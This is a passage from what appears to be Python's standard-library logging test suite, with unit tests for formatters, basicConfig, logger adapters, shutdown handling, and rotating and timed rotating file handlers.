08:03:00,123') self.assertEqual(f.formatTime(r, '%Y:%d'), '1993:21') f.format(r) self.assertEqual(r.asctime, '1993-04-21 08:03:00,123') class TestBufferingFormatter(logging.BufferingFormatter): def formatHeader(self, records): return '[(%d)' % len(records) def formatFooter(self, records): return '(%d)]' % len(records) class BufferingFormatterTest(unittest.TestCase): def setUp(self): self.records = [ logging.makeLogRecord({'msg': 'one'}), logging.makeLogRecord({'msg': 'two'}), ] def test_default(self): f = logging.BufferingFormatter() self.assertEqual('', f.format([])) self.assertEqual('onetwo', f.format(self.records)) def test_custom(self): f = TestBufferingFormatter() self.assertEqual('[(2)onetwo(2)]', f.format(self.records)) lf = logging.Formatter('<%(message)s>') f = TestBufferingFormatter(lf) self.assertEqual('[(2)<one><two>(2)]', f.format(self.records)) class ExceptionTest(BaseTest): def test_formatting(self): r = self.root_logger h = RecordingHandler() r.addHandler(h) try: raise RuntimeError('deliberate mistake') except: logging.exception('failed', stack_info=True) r.removeHandler(h) h.close() r = h.records[0] self.assertTrue(r.exc_text.startswith('Traceback (most recent ' 'call last):\n')) self.assertTrue(r.exc_text.endswith('\nRuntimeError: ' 'deliberate mistake')) self.assertTrue(r.stack_info.startswith('Stack (most recent ' 'call last):\n')) self.assertTrue(r.stack_info.endswith('logging.exception(\'failed\', ' 'stack_info=True)')) class LastResortTest(BaseTest): def test_last_resort(self): # Test the last resort handler root = self.root_logger root.removeHandler(self.root_hdlr) old_lastresort = logging.lastResort old_raise_exceptions = logging.raiseExceptions try: with support.captured_stderr() as stderr: root.debug('This should not appear') self.assertEqual(stderr.getvalue(), '') root.warning('Final chance!') self.assertEqual(stderr.getvalue(), 'Final chance!\n') # No handlers and no last resort, so 'No handlers' message logging.lastResort = None with support.captured_stderr() as stderr: root.warning('Final chance!') msg = 'No handlers could be found for logger "root"\n' self.assertEqual(stderr.getvalue(), msg) # 'No handlers' message only printed once with support.captured_stderr() as stderr: root.warning('Final chance!') self.assertEqual(stderr.getvalue(), '') # If raiseExceptions is False, no message is printed root.manager.emittedNoHandlerWarning = False logging.raiseExceptions = False with support.captured_stderr() as stderr: root.warning('Final chance!') self.assertEqual(stderr.getvalue(), '') finally: root.addHandler(self.root_hdlr) logging.lastResort = old_lastresort logging.raiseExceptions = old_raise_exceptions class FakeHandler: def __init__(self, identifier, called): for method in ('acquire', 'flush', 'close', 'release'): setattr(self, method, self.record_call(identifier, method, called)) def record_call(self, identifier, method_name, called): def inner(): called.append('{} - {}'.format(identifier, method_name)) return inner class RecordingHandler(logging.NullHandler): def __init__(self, *args, **kwargs): super(RecordingHandler, self).__init__(*args, **kwargs) self.records = [] def handle(self, record): """Keep track of all the emitted records.""" self.records.append(record) class ShutdownTest(BaseTest): """Test suite for the shutdown method.""" def setUp(self): super(ShutdownTest, self).setUp() self.called = [] raise_exceptions = logging.raiseExceptions self.addCleanup(setattr, logging, 'raiseExceptions', raise_exceptions) def raise_error(self, error): def inner(): raise error() return inner def test_no_failure(self): # create some fake handlers handler0 = FakeHandler(0, self.called) handler1 = FakeHandler(1, self.called) handler2 = FakeHandler(2, self.called) # create live weakref to those handlers handlers = map(logging.weakref.ref, [handler0, handler1, handler2]) logging.shutdown(handlerList=list(handlers)) expected = ['2 - acquire', '2 - flush', '2 - close', '2 - release', '1 - acquire', '1 - flush', '1 - close', '1 - release', '0 - acquire', '0 - flush', '0 - close', '0 - release'] self.assertEqual(expected, self.called) def _test_with_failure_in_method(self, method, error): handler = FakeHandler(0, self.called) setattr(handler, method, self.raise_error(error)) handlers = [logging.weakref.ref(handler)] logging.shutdown(handlerList=list(handlers)) self.assertEqual('0 - release', self.called[-1]) def test_with_ioerror_in_acquire(self): self._test_with_failure_in_method('acquire', OSError) def test_with_ioerror_in_flush(self): self._test_with_failure_in_method('flush', OSError) def test_with_ioerror_in_close(self): self._test_with_failure_in_method('close', OSError) def test_with_valueerror_in_acquire(self): self._test_with_failure_in_method('acquire', ValueError) def test_with_valueerror_in_flush(self): self._test_with_failure_in_method('flush', ValueError) def test_with_valueerror_in_close(self): self._test_with_failure_in_method('close', ValueError) def test_with_other_error_in_acquire_without_raise(self): logging.raiseExceptions = False self._test_with_failure_in_method('acquire', IndexError) def test_with_other_error_in_flush_without_raise(self): logging.raiseExceptions = False self._test_with_failure_in_method('flush', IndexError) def test_with_other_error_in_close_without_raise(self): logging.raiseExceptions = False self._test_with_failure_in_method('close', IndexError) def test_with_other_error_in_acquire_with_raise(self): logging.raiseExceptions = True self.assertRaises(IndexError, self._test_with_failure_in_method, 'acquire', IndexError) def test_with_other_error_in_flush_with_raise(self): logging.raiseExceptions = True self.assertRaises(IndexError, self._test_with_failure_in_method, 'flush', IndexError) def test_with_other_error_in_close_with_raise(self): logging.raiseExceptions = True self.assertRaises(IndexError, self._test_with_failure_in_method, 'close', IndexError) class ModuleLevelMiscTest(BaseTest): """Test suite for some module level methods.""" def test_disable(self): old_disable = logging.root.manager.disable # confirm our assumptions are correct self.assertEqual(old_disable, 0) self.addCleanup(logging.disable, old_disable) logging.disable(83) self.assertEqual(logging.root.manager.disable, 83) # test the default value introduced in 3.7 # (Issue #28524) logging.disable() self.assertEqual(logging.root.manager.disable, logging.CRITICAL) def _test_log(self, method, level=None): called = [] support.patch(self, logging, 'basicConfig', lambda *a, **kw: called.append((a, kw))) recording = RecordingHandler() logging.root.addHandler(recording) log_method = getattr(logging, method) if level is not None: log_method(level, "test me: %r", recording) else: log_method("test me: %r", recording) self.assertEqual(len(recording.records), 1) record = recording.records[0] self.assertEqual(record.getMessage(), "test me: %r" % recording) expected_level = level if level is not None else getattr(logging, method.upper()) self.assertEqual(record.levelno, expected_level) # basicConfig was not called! self.assertEqual(called, []) def test_log(self): self._test_log('log', logging.ERROR) def test_debug(self): self._test_log('debug') def test_info(self): self._test_log('info') def test_warning(self): self._test_log('warning') def test_error(self): self._test_log('error') def test_critical(self): self._test_log('critical') def test_set_logger_class(self): self.assertRaises(TypeError, logging.setLoggerClass, object) class MyLogger(logging.Logger): pass logging.setLoggerClass(MyLogger) self.assertEqual(logging.getLoggerClass(), MyLogger) logging.setLoggerClass(logging.Logger) self.assertEqual(logging.getLoggerClass(), logging.Logger) @support.requires_type_collecting def test_logging_at_shutdown(self): # Issue #20037 code = """if 1: import logging class A: def __del__(self): try: raise ValueError("some error") except Exception: logging.exception("exception in __del__") a = A()""" rc, out, err = assert_python_ok("-c", code) err = err.decode() self.assertIn("exception in __del__", err) self.assertIn("ValueError: some error", err) class LogRecordTest(BaseTest): def test_str_rep(self): r = logging.makeLogRecord({}) s = str(r) self.assertTrue(s.startswith('<LogRecord: ')) self.assertTrue(s.endswith('>')) def test_dict_arg(self): h = RecordingHandler() r = logging.getLogger() r.addHandler(h) d = {'less' : 'more' } logging.warning('less is %(less)s', d) self.assertIs(h.records[0].args, d) self.assertEqual(h.records[0].message, 'less is more') r.removeHandler(h) h.close() def test_multiprocessing(self): r = logging.makeLogRecord({}) self.assertEqual(r.processName, 'MainProcess') try: import multiprocessing as mp r = logging.makeLogRecord({}) self.assertEqual(r.processName, mp.current_process().name) except ImportError: pass def test_optional(self): r = logging.makeLogRecord({}) NOT_NONE = self.assertIsNotNone NOT_NONE(r.thread) NOT_NONE(r.threadName) NOT_NONE(r.process) NOT_NONE(r.processName) log_threads = logging.logThreads log_processes = logging.logProcesses log_multiprocessing = logging.logMultiprocessing try: logging.logThreads = False logging.logProcesses = False logging.logMultiprocessing = False r = logging.makeLogRecord({}) NONE = self.assertIsNone NONE(r.thread) NONE(r.threadName) NONE(r.process) NONE(r.processName) finally: logging.logThreads = log_threads logging.logProcesses = log_processes logging.logMultiprocessing = log_multiprocessing class BasicConfigTest(unittest.TestCase): """Test suite for logging.basicConfig.""" def setUp(self): super(BasicConfigTest, self).setUp() self.handlers = logging.root.handlers self.saved_handlers = logging._handlers.copy() self.saved_handler_list = logging._handlerList[:] self.original_logging_level = logging.root.level self.addCleanup(self.cleanup) logging.root.handlers = [] def tearDown(self): for h in logging.root.handlers[:]: logging.root.removeHandler(h) h.close() super(BasicConfigTest, self).tearDown() def cleanup(self): setattr(logging.root, 'handlers', self.handlers) logging._handlers.clear() logging._handlers.update(self.saved_handlers) logging._handlerList[:] = self.saved_handler_list logging.root.level = self.original_logging_level def test_no_kwargs(self): logging.basicConfig() # handler defaults to a StreamHandler to sys.stderr self.assertEqual(len(logging.root.handlers), 1) handler = logging.root.handlers[0] self.assertIsInstance(handler, logging.StreamHandler) self.assertEqual(handler.stream, sys.stderr) formatter = handler.formatter # format defaults to logging.BASIC_FORMAT self.assertEqual(formatter._style._fmt, logging.BASIC_FORMAT) # datefmt defaults to None self.assertIsNone(formatter.datefmt) # style defaults to % self.assertIsInstance(formatter._style, logging.PercentStyle) # level is not explicitly set self.assertEqual(logging.root.level, self.original_logging_level) def test_strformatstyle(self): with support.captured_stdout() as output: logging.basicConfig(stream=sys.stdout, style="{") logging.error("Log an error") sys.stdout.seek(0) self.assertEqual(output.getvalue().strip(), "ERROR:root:Log an error") def test_stringtemplatestyle(self): with support.captured_stdout() as output: logging.basicConfig(stream=sys.stdout, style="$") logging.error("Log an error") sys.stdout.seek(0) self.assertEqual(output.getvalue().strip(), "ERROR:root:Log an error") def test_filename(self): def cleanup(h1, h2, fn): h1.close() h2.close() os.remove(fn) logging.basicConfig(filename='test.log') self.assertEqual(len(logging.root.handlers), 1) handler = logging.root.handlers[0] self.assertIsInstance(handler, logging.FileHandler) expected = logging.FileHandler('test.log', 'a') self.assertEqual(handler.stream.mode, expected.stream.mode) self.assertEqual(handler.stream.name, expected.stream.name) self.addCleanup(cleanup, handler, expected, 'test.log') def test_filemode(self): def cleanup(h1, h2, fn): h1.close() h2.close() os.remove(fn) logging.basicConfig(filename='test.log', filemode='wb') handler = logging.root.handlers[0] expected = logging.FileHandler('test.log', 'wb') self.assertEqual(handler.stream.mode, expected.stream.mode) self.addCleanup(cleanup, handler, expected, 'test.log') def test_stream(self): stream = io.StringIO() self.addCleanup(stream.close) logging.basicConfig(stream=stream) self.assertEqual(len(logging.root.handlers), 1) handler = logging.root.handlers[0] self.assertIsInstance(handler, logging.StreamHandler) self.assertEqual(handler.stream, stream) def test_format(self): logging.basicConfig(format='foo') formatter = logging.root.handlers[0].formatter self.assertEqual(formatter._style._fmt, 'foo') def test_datefmt(self): logging.basicConfig(datefmt='bar') formatter = logging.root.handlers[0].formatter self.assertEqual(formatter.datefmt, 'bar') def test_style(self): logging.basicConfig(style='$') formatter = logging.root.handlers[0].formatter self.assertIsInstance(formatter._style, logging.StringTemplateStyle) def test_level(self): old_level = logging.root.level self.addCleanup(logging.root.setLevel, old_level) logging.basicConfig(level=57) self.assertEqual(logging.root.level, 57) # Test that second call has no effect logging.basicConfig(level=58) self.assertEqual(logging.root.level, 57) def test_incompatible(self): assertRaises = self.assertRaises handlers = [logging.StreamHandler()] stream = sys.stderr assertRaises(ValueError, logging.basicConfig, filename='test.log', stream=stream) assertRaises(ValueError, logging.basicConfig, filename='test.log', handlers=handlers) assertRaises(ValueError, logging.basicConfig, stream=stream, handlers=handlers) # Issue 23207: test for invalid kwargs assertRaises(ValueError, logging.basicConfig, loglevel=logging.INFO) # Should pop both filename and filemode even if filename is None logging.basicConfig(filename=None, filemode='a') def test_handlers(self): handlers = [ logging.StreamHandler(), logging.StreamHandler(sys.stdout), logging.StreamHandler(), ] f = logging.Formatter() handlers[2].setFormatter(f) logging.basicConfig(handlers=handlers) self.assertIs(handlers[0], logging.root.handlers[0]) self.assertIs(handlers[1], logging.root.handlers[1]) self.assertIs(handlers[2], logging.root.handlers[2]) self.assertIsNotNone(handlers[0].formatter) self.assertIsNotNone(handlers[1].formatter) self.assertIs(handlers[2].formatter, f) self.assertIs(handlers[0].formatter, handlers[1].formatter) def _test_log(self, method, level=None): # logging.root has no handlers so basicConfig should be called called = [] old_basic_config = logging.basicConfig def my_basic_config(*a, **kw): old_basic_config() old_level = logging.root.level logging.root.setLevel(100) # avoid having messages in stderr self.addCleanup(logging.root.setLevel, old_level) called.append((a, kw)) support.patch(self, logging, 'basicConfig', my_basic_config) log_method = getattr(logging, method) if level is not None: log_method(level, "test me") else: log_method("test me") # basicConfig was called with no arguments self.assertEqual(called, [((), {})]) def test_log(self): self._test_log('log', logging.WARNING) def test_debug(self): self._test_log('debug') def test_info(self): self._test_log('info') def test_warning(self): self._test_log('warning') def test_error(self): self._test_log('error') def test_critical(self): self._test_log('critical') class LoggerAdapterTest(unittest.TestCase): def setUp(self): super(LoggerAdapterTest, self).setUp() old_handler_list = logging._handlerList[:] self.recording = RecordingHandler() self.logger = logging.root self.logger.addHandler(self.recording) self.addCleanup(self.logger.removeHandler, self.recording) self.addCleanup(self.recording.close) def cleanup(): logging._handlerList[:] = old_handler_list self.addCleanup(cleanup) self.addCleanup(logging.shutdown) self.adapter = logging.LoggerAdapter(logger=self.logger, extra=None) def test_exception(self): msg = 'testing exception: %r' exc = None try: 1 / 0 except ZeroDivisionError as e: exc = e self.adapter.exception(msg, self.recording) self.assertEqual(len(self.recording.records), 1) record = self.recording.records[0] self.assertEqual(record.levelno, logging.ERROR) self.assertEqual(record.msg, msg) self.assertEqual(record.args, (self.recording,)) self.assertEqual(record.exc_info, (exc.__class__, exc, exc.__traceback__)) def test_exception_excinfo(self): try: 1 / 0 except ZeroDivisionError as e: exc = e self.adapter.exception('exc_info test', exc_info=exc) self.assertEqual(len(self.recording.records), 1) record = self.recording.records[0] self.assertEqual(record.exc_info, (exc.__class__, exc, exc.__traceback__)) def test_critical(self): msg = 'critical test! %r' self.adapter.critical(msg, self.recording) self.assertEqual(len(self.recording.records), 1) record = self.recording.records[0] self.assertEqual(record.levelno, logging.CRITICAL) self.assertEqual(record.msg, msg) self.assertEqual(record.args, (self.recording,)) def test_is_enabled_for(self): old_disable = self.adapter.logger.manager.disable self.adapter.logger.manager.disable = 33 self.addCleanup(setattr, self.adapter.logger.manager, 'disable', old_disable) self.assertFalse(self.adapter.isEnabledFor(32)) def test_has_handlers(self): self.assertTrue(self.adapter.hasHandlers()) for handler in self.logger.handlers: self.logger.removeHandler(handler) self.assertFalse(self.logger.hasHandlers()) self.assertFalse(self.adapter.hasHandlers()) def test_nested(self): class Adapter(logging.LoggerAdapter): prefix = 'Adapter' def process(self, msg, kwargs): return f"{self.prefix} {msg}", kwargs msg = 'Adapters can be nested, yo.' adapter = Adapter(logger=self.logger, extra=None) adapter_adapter = Adapter(logger=adapter, extra=None) adapter_adapter.prefix = 'AdapterAdapter' self.assertEqual(repr(adapter), repr(adapter_adapter)) adapter_adapter.log(logging.CRITICAL, msg, self.recording) self.assertEqual(len(self.recording.records), 1) record = self.recording.records[0] self.assertEqual(record.levelno, logging.CRITICAL) self.assertEqual(record.msg, f"Adapter AdapterAdapter {msg}") self.assertEqual(record.args, (self.recording,)) orig_manager = adapter_adapter.manager self.assertIs(adapter.manager, orig_manager) self.assertIs(self.logger.manager, orig_manager) temp_manager = object() try: adapter_adapter.manager = temp_manager self.assertIs(adapter_adapter.manager, temp_manager) self.assertIs(adapter.manager, temp_manager) self.assertIs(self.logger.manager, temp_manager) finally: adapter_adapter.manager = orig_manager self.assertIs(adapter_adapter.manager, orig_manager) self.assertIs(adapter.manager, orig_manager) self.assertIs(self.logger.manager, orig_manager) class LoggerTest(BaseTest): def setUp(self): super(LoggerTest, self).setUp() self.recording = RecordingHandler() self.logger = logging.Logger(name='blah') self.logger.addHandler(self.recording) self.addCleanup(self.logger.removeHandler, self.recording) self.addCleanup(self.recording.close) self.addCleanup(logging.shutdown) def test_set_invalid_level(self): self.assertRaises(TypeError, self.logger.setLevel, object()) def test_exception(self): msg = 'testing exception: %r' exc = None try: 1 / 0 except ZeroDivisionError as e: exc = e self.logger.exception(msg, self.recording) self.assertEqual(len(self.recording.records), 1) record = self.recording.records[0] self.assertEqual(record.levelno, logging.ERROR) self.assertEqual(record.msg, msg) self.assertEqual(record.args, (self.recording,)) self.assertEqual(record.exc_info, (exc.__class__, exc, exc.__traceback__)) def test_log_invalid_level_with_raise(self): with support.swap_attr(logging, 'raiseExceptions', True): self.assertRaises(TypeError, self.logger.log, '10', 'test message') def test_log_invalid_level_no_raise(self): with support.swap_attr(logging, 'raiseExceptions', False): self.logger.log('10', 'test message') # no exception happens def test_find_caller_with_stack_info(self): called = [] support.patch(self, logging.traceback, 'print_stack', lambda f, file: called.append(file.getvalue())) self.logger.findCaller(stack_info=True) self.assertEqual(len(called), 1) self.assertEqual('Stack (most recent call last):\n', called[0]) def test_make_record_with_extra_overwrite(self): name = 'my record' level = 13 fn = lno = msg = args = exc_info = func = sinfo = None rv = logging._logRecordFactory(name, level, fn, lno, msg, args, exc_info, func, sinfo) for key in ('message', 'asctime') + tuple(rv.__dict__.keys()): extra = {key: 'some value'} self.assertRaises(KeyError, self.logger.makeRecord, name, level, fn, lno, msg, args, exc_info, extra=extra, sinfo=sinfo) def test_make_record_with_extra_no_overwrite(self): name = 'my record' level = 13 fn = lno = msg = args = exc_info = func = sinfo = None extra = {'valid_key': 'some value'} result = self.logger.makeRecord(name, level, fn, lno, msg, args, exc_info, extra=extra, sinfo=sinfo) self.assertIn('valid_key', result.__dict__) def test_has_handlers(self): self.assertTrue(self.logger.hasHandlers()) for handler in self.logger.handlers: self.logger.removeHandler(handler) self.assertFalse(self.logger.hasHandlers()) def test_has_handlers_no_propagate(self): child_logger = logging.getLogger('blah.child') child_logger.propagate = False self.assertFalse(child_logger.hasHandlers()) def test_is_enabled_for(self): old_disable = self.logger.manager.disable self.logger.manager.disable = 23 self.addCleanup(setattr, self.logger.manager, 'disable', old_disable) self.assertFalse(self.logger.isEnabledFor(22)) def test_is_enabled_for_disabled_logger(self): old_disabled = self.logger.disabled old_disable = self.logger.manager.disable self.logger.disabled = True self.logger.manager.disable = 21 self.addCleanup(setattr, self.logger, 'disabled', old_disabled) self.addCleanup(setattr, self.logger.manager, 'disable', old_disable) self.assertFalse(self.logger.isEnabledFor(22)) def test_root_logger_aliases(self): root = logging.getLogger() self.assertIs(root, logging.root) self.assertIs(root, logging.getLogger(None)) self.assertIs(root, logging.getLogger('')) self.assertIs(root, logging.getLogger('foo').root) self.assertIs(root, logging.getLogger('foo.bar').root) self.assertIs(root, logging.getLogger('foo').parent) self.assertIsNot(root, logging.getLogger('\0')) self.assertIsNot(root, logging.getLogger('foo.bar').parent) def test_invalid_names(self): self.assertRaises(TypeError, logging.getLogger, any) self.assertRaises(TypeError, logging.getLogger, b'foo') def test_pickling(self): for proto in range(pickle.HIGHEST_PROTOCOL + 1): for name in ('', 'root', 'foo', 'foo.bar', 'baz.bar'): logger = logging.getLogger(name) s = pickle.dumps(logger, proto) unpickled = pickle.loads(s) self.assertIs(unpickled, logger) def test_caching(self): root = self.root_logger logger1 = logging.getLogger("abc") logger2 = logging.getLogger("abc.def") # Set root logger level and ensure cache is empty root.setLevel(logging.ERROR) self.assertEqual(logger2.getEffectiveLevel(), logging.ERROR) self.assertEqual(logger2._cache, {}) # Ensure cache is populated and calls are consistent self.assertTrue(logger2.isEnabledFor(logging.ERROR)) self.assertFalse(logger2.isEnabledFor(logging.DEBUG)) self.assertEqual(logger2._cache, {logging.ERROR: True, logging.DEBUG: False}) self.assertEqual(root._cache, {}) self.assertTrue(logger2.isEnabledFor(logging.ERROR)) # Ensure root cache gets populated self.assertEqual(root._cache, {}) self.assertTrue(root.isEnabledFor(logging.ERROR)) self.assertEqual(root._cache, {logging.ERROR: True}) # Set parent logger level and ensure caches are emptied logger1.setLevel(logging.CRITICAL) self.assertEqual(logger2.getEffectiveLevel(), logging.CRITICAL) self.assertEqual(logger2._cache, {}) # Ensure logger2 uses parent logger's effective level self.assertFalse(logger2.isEnabledFor(logging.ERROR)) # Set level to NOTSET and ensure caches are empty logger2.setLevel(logging.NOTSET) self.assertEqual(logger2.getEffectiveLevel(), logging.CRITICAL) self.assertEqual(logger2._cache, {}) self.assertEqual(logger1._cache, {}) self.assertEqual(root._cache, {}) # Verify logger2 follows parent and not root self.assertFalse(logger2.isEnabledFor(logging.ERROR)) self.assertTrue(logger2.isEnabledFor(logging.CRITICAL)) self.assertFalse(logger1.isEnabledFor(logging.ERROR)) self.assertTrue(logger1.isEnabledFor(logging.CRITICAL)) self.assertTrue(root.isEnabledFor(logging.ERROR)) # Disable logging in manager and ensure caches are clear logging.disable() self.assertEqual(logger2.getEffectiveLevel(), logging.CRITICAL) self.assertEqual(logger2._cache, {}) self.assertEqual(logger1._cache, {}) self.assertEqual(root._cache, {}) # Ensure no loggers are enabled self.assertFalse(logger1.isEnabledFor(logging.CRITICAL)) self.assertFalse(logger2.isEnabledFor(logging.CRITICAL)) self.assertFalse(root.isEnabledFor(logging.CRITICAL)) class BaseFileTest(BaseTest): "Base class for handler tests that write log files" def setUp(self): BaseTest.setUp(self) fd, self.fn = tempfile.mkstemp(".log", "test_logging-2-") os.close(fd) self.rmfiles = [] def tearDown(self): for fn in self.rmfiles: os.unlink(fn) if os.path.exists(self.fn): os.unlink(self.fn) BaseTest.tearDown(self) def assertLogFile(self, filename): "Assert a log file is there and register it for deletion" self.assertTrue(os.path.exists(filename), msg="Log file %r does not exist" % filename) self.rmfiles.append(filename) class FileHandlerTest(BaseFileTest): def test_delay(self): os.unlink(self.fn) fh = logging.FileHandler(self.fn, delay=True) self.assertIsNone(fh.stream) self.assertFalse(os.path.exists(self.fn)) fh.handle(logging.makeLogRecord({})) self.assertIsNotNone(fh.stream) self.assertTrue(os.path.exists(self.fn)) fh.close() class RotatingFileHandlerTest(BaseFileTest): def next_rec(self): return logging.LogRecord('n', logging.DEBUG, 'p', 1, self.next_message(), None, None, None) def test_should_not_rollover(self): # If maxbytes is zero rollover never occurs rh = logging.handlers.RotatingFileHandler(self.fn, maxBytes=0) self.assertFalse(rh.shouldRollover(None)) rh.close() def test_should_rollover(self): rh = logging.handlers.RotatingFileHandler(self.fn, maxBytes=1) self.assertTrue(rh.shouldRollover(self.next_rec())) rh.close() def test_file_created(self): # checks that the file is created and assumes it was created # by us rh = logging.handlers.RotatingFileHandler(self.fn) rh.emit(self.next_rec()) self.assertLogFile(self.fn) rh.close() def test_rollover_filenames(self): def namer(name): return name + ".test" rh = logging.handlers.RotatingFileHandler( self.fn, backupCount=2, maxBytes=1) rh.namer = namer rh.emit(self.next_rec()) self.assertLogFile(self.fn) rh.emit(self.next_rec()) self.assertLogFile(namer(self.fn + ".1")) rh.emit(self.next_rec()) self.assertLogFile(namer(self.fn + ".2")) self.assertFalse(os.path.exists(namer(self.fn + ".3"))) rh.close() @support.requires_zlib def test_rotator(self): def namer(name): return name + ".gz" def rotator(source, dest): with open(source, "rb") as sf: data = sf.read() compressed = zlib.compress(data, 9) with open(dest, "wb") as df: df.write(compressed) os.remove(source) rh = logging.handlers.RotatingFileHandler( self.fn, backupCount=2, maxBytes=1) rh.rotator = rotator rh.namer = namer m1 = self.next_rec() rh.emit(m1) self.assertLogFile(self.fn) m2 = self.next_rec() rh.emit(m2) fn = namer(self.fn + ".1") self.assertLogFile(fn) newline = os.linesep with open(fn, "rb") as f: compressed = f.read() data = zlib.decompress(compressed) self.assertEqual(data.decode("ascii"), m1.msg + newline) rh.emit(self.next_rec()) fn = namer(self.fn + ".2") self.assertLogFile(fn) with open(fn, "rb") as f: compressed = f.read() data = zlib.decompress(compressed) self.assertEqual(data.decode("ascii"), m1.msg + newline) rh.emit(self.next_rec()) fn = namer(self.fn + ".2") with open(fn, "rb") as f: compressed = f.read() data = zlib.decompress(compressed) self.assertEqual(data.decode("ascii"), m2.msg + newline) self.assertFalse(os.path.exists(namer(self.fn + ".3"))) rh.close() class TimedRotatingFileHandlerTest(BaseFileTest): # other test methods added below def test_rollover(self): fh = logging.handlers.TimedRotatingFileHandler(self.fn, 'S', backupCount=1) fmt = logging.Formatter('%(asctime)s %(message)s') fh.setFormatter(fmt) r1 = logging.makeLogRecord({'msg': 'testing - initial'}) fh.emit(r1) self.assertLogFile(self.fn) time.sleep(1.1) # a little over a second ... r2 = logging.makeLogRecord({'msg': 'testing - after delay'}) fh.emit(r2) fh.close() # At this point, we should have a recent rotated file which we # can test for the existence of. However, in practice, on some # machines which run really slowly, we don't know how far back # in time to go to look for the log file. So, we go back a fair # bit, and stop as soon as we see a rotated file. In theory this # could of course still fail, but the chances are lower. found = False now = datetime.datetime.now() GO_BACK = 5 * 60 # seconds for secs in range(GO_BACK): prev = now - datetime.timedelta(seconds=secs) fn = self.fn + prev.strftime(".%Y-%m-%d_%H-%M-%S") found = os.path.exists(fn) if found: self.rmfiles.append(fn) break msg = 'No rotated files found, went back %d seconds' % GO_BACK if not found: # print additional diagnostics dn, fn = os.path.split(self.fn) files = [f for f in os.listdir(dn) if f.startswith(fn)] print('Test time: %s' % now.strftime("%Y-%m-%d %H-%M-%S"), file=sys.stderr) print('The only matching files are: %s' % files, file=sys.stderr) for f in files: print('Contents of %s:' % f) path = os.path.join(dn, f) with open(path, 'r') as tf: print(tf.read()) self.assertTrue(found, msg=msg) def test_invalid(self): assertRaises = self.assertRaises assertRaises(ValueError, logging.handlers.TimedRotatingFileHandler, self.fn, 'X', delay=True) assertRaises(ValueError, logging.handlers.TimedRotatingFileHandler, self.fn, 'W', delay=True) assertRaises(ValueError, logging.handlers.TimedRotatingFileHandler, self.fn, 'W7', delay=True) def test_compute_rollover_daily_attime(self): currentTime = 0 atTime = datetime.time(12, 0, 0) rh = logging.handlers.TimedRotatingFileHandler( self.fn, when='MIDNIGHT', interval=1, backupCount=0, utc=True, atTime=atTime) try: actual = rh.computeRollover(currentTime) self.assertEqual(actual, currentTime + 12 * 60 * 60) actual = rh.computeRollover(currentTime + 13 * 60 * 60) self.assertEqual(actual, currentTime + 36 * 60 * 60) finally: rh.close() #@unittest.skipIf(True, 'Temporarily skipped while failures investigated.') def test_compute_rollover_weekly_attime(self): currentTime = int(time.time()) today = currentTime - currentTime % 86400 atTime = datetime.time(12, 0, 0) wday = time.gmtime(today).tm_wday for day in range(7): rh = logging.handlers.TimedRotatingFileHandler( self.fn, when='W%d' % day, interval=1, backupCount=0, utc=True, atTime=atTime) try: if wday > day: # The rollover day has already passed this week, so we # go over into next week expected = (7 - wday + day) else: expected = (day - wday) # At this point expected is in days from now, convert to seconds expected *= 24 * 60 * 60 # Add in the rollover time expected += 12 * 60 * 60 # Add in adjustment for today expected += today actual = rh.computeRollover(today) if actual != expected: print('failed in timezone: %d' % time.timezone) print('local vars: %s' % locals()) self.assertEqual(actual, expected) if day == wday: # goes into following week expected += 7 * 24 * 60 * 60 actual = rh.computeRollover(today + 13 * 60 * 60) if actual != expected: print('failed in timezone: %d' % time.timezone) print('local vars: %s' % locals()) self.assertEqual(actual, expected) finally: rh.close() def secs(**kw): return datetime.timedelta(**kw) // datetime.timedelta(seconds=1) for when, exp in (('S', 1), ('M', 60), ('H', 60 * 60), ('D', 60 * 60 * 24), ('MIDNIGHT', 60 * 60 * 24), # current time (epoch start) is a Thursday, W0 means Monday ('W0', secs(days=4, hours=24)), ): def test_compute_rollover(self, when=when, exp=exp): rh = logging.handlers.TimedRotatingFileHandler( self.fn, when=when, interval=1, backupCount=0, utc=True) currentTime = 0.0 actual = rh.computeRollover(currentTime) if exp != actual: # Failures occur on some systems for MIDNIGHT and W0. # Print detailed calculation for MIDNIGHT so we can try to see # what's going on if when == 'MIDNIGHT': try: if rh.utc: t = time.gmtime(currentTime) else: t = time.localtime(currentTime) currentHour = t[3] currentMinute = t[4] currentSecond = t[5] # r is the number of seconds left between now and midnight r = logging.handlers._MIDNIGHT - ((currentHour * 60 + currentMinute) * 60 + currentSecond) result = currentTime + r print('t: %s (%s)' % (t, rh.utc), file=sys.stderr) print('currentHour: %s' % currentHour, file=sys.stderr) print('currentMinute: %s' % currentMinute, file=sys.stderr) print('currentSecond: %s' % currentSecond, file=sys.stderr) print('r: %s' % r, file=sys.stderr) print('result: %s' % result, file=sys.stderr) except Exception: print('exception in diagnostic code: %s' % sys.exc_info()[1], file=sys.stderr) self.assertEqual(exp, actual) rh.close() setattr(TimedRotatingFileHandlerTest, "test_compute_rollover_%s" % when, test_compute_rollover) @unittest.skipUnless(win32evtlog, 'win32evtlog/win32evtlogutil/pywintypes required for this test.') class NTEventLogHandlerTest(BaseTest): def test_basic(self): logtype = 'Application' elh = win32evtlog.OpenEventLog(None, logtype) num_recs = win32evtlog.GetNumberOfEventLogRecords(elh) try: h = logging.handlers.NTEventLogHandler('test_logging') except pywintypes.error as e: if e.winerror == 5: # access denied raise unittest.SkipTest('Insufficient privileges to run test') raise r = logging.makeLogRecord({'msg': 'Test Log Message'}) h.handle(r) h.close() # Now see if the event is recorded self.assertLess(num_recs, win32evtlog.GetNumberOfEventLogRecords(elh)) flags = win32evtlog.EVENTLOG_BACKWARDS_READ | \ win32evtlog.EVENTLOG_SEQUENTIAL_READ found = False GO_BACK = 100 events = win32evtlog.ReadEventLog(elh, flags, GO_BACK) for e in events: if e.SourceName != 'test_logging': continue msg = win32evtlogutil.SafeFormatMessage(e, logtype) if msg != 'Test Log Message\r\n': continue found = True break msg = 'Record not found in event log, went back %d records' % GO_BACK self.assertTrue(found, msg=msg) class MiscTestCase(unittest.TestCase): def test__all__(self): blacklist = {'logThreads', 'logMultiprocessing', 'logProcesses', 'currentframe', 'PercentStyle', 'StrFormatStyle', 'StringTemplateStyle', 'Filterer', 'PlaceHolder', 'Manager', 'RootLogger', 'root', 'threading'} support.check__all__(self, logging, blacklist=blacklist) # Set the locale to the platform-dependent default. I have no idea # why the test does this, but in any case we save the current locale # first and restore it at the end. @support.run_with_locale('LC_ALL', '') def test_main(): tests = [ BuiltinLevelsTest, BasicFilterTest, CustomLevelsAndFiltersTest, HandlerTest, 